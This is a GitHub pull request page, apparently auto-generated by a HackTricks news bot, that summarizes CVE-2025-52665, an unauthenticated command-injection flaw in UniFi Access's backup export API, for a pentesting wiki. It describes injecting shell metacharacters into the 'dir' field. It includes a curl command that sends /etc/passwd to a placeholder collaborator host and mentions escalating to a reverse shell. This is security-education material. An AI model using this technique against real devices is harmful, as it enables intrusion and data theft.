CVE-2025-52665 Unauthenticated RCE in UniFi Access backup/ex... #1545
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
🤖 Automated Content Update
This PR was automatically generated by the HackTricks News Bot based on a technical blog post.
📝 Source Information
🎯 Content Summary
Vulnerability: CVE-2025-52665 — unauthenticated remote command execution in UniFi Access (within UniFi OS/UDM SE) caused by an externally exposed reverse proxy on
:9780that forwards to an internal-only backup export API. The API's export routine builds shell commands using attacker-controlled input (dir) without validation/escaping, enabling command injection.Architecture and code path: The backup workflow uses a higher-level orchestrator
...🔧 Technical Details
Internal-only route exposure via external proxy: Probe device ports for known internal paths (e.g.,
/api/ucore/backup/export). A405 Method Not AllowedonGETsuggests the route exists externally and expects another method (here,POST) with a specific JSON body.Shell injection in orchestrated backups: When an orchestrator forwards an unvalidated path (e.g.,
dir) to a shell-based export routine, inject shell metacharacters. Use;to terminate your command and#to comment out the exporter’s trailing tokens (e.g.,mktemp/chmod/tar/du) to prevent syntax errors.Blind RCE confirmation with OOB: For blind execution, exfiltrate a local file (e.g.,
/etc/passwd) to an OOB endpoint (curl -s --data-binary @/etc/passwd http://<collaborator>/) to verify code execution before attempting a reverse shell.Schema-assisted ...
🤖 Agent Actions
I analyzed the blog and determined it provides concrete, reusable techniques for OS Command Injection and discovery heuristics behind reverse-proxied internal APIs. This fits best in Pentesting Web > Command Injection.
What I added
A new subsection in src/pentesting-web/command-injection.md:
Reference added:
Why this location
No other files were changed or created.
This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.
📚 Repository Maintenance
All .md files have been checked for proper formatting (headers, includes, etc.).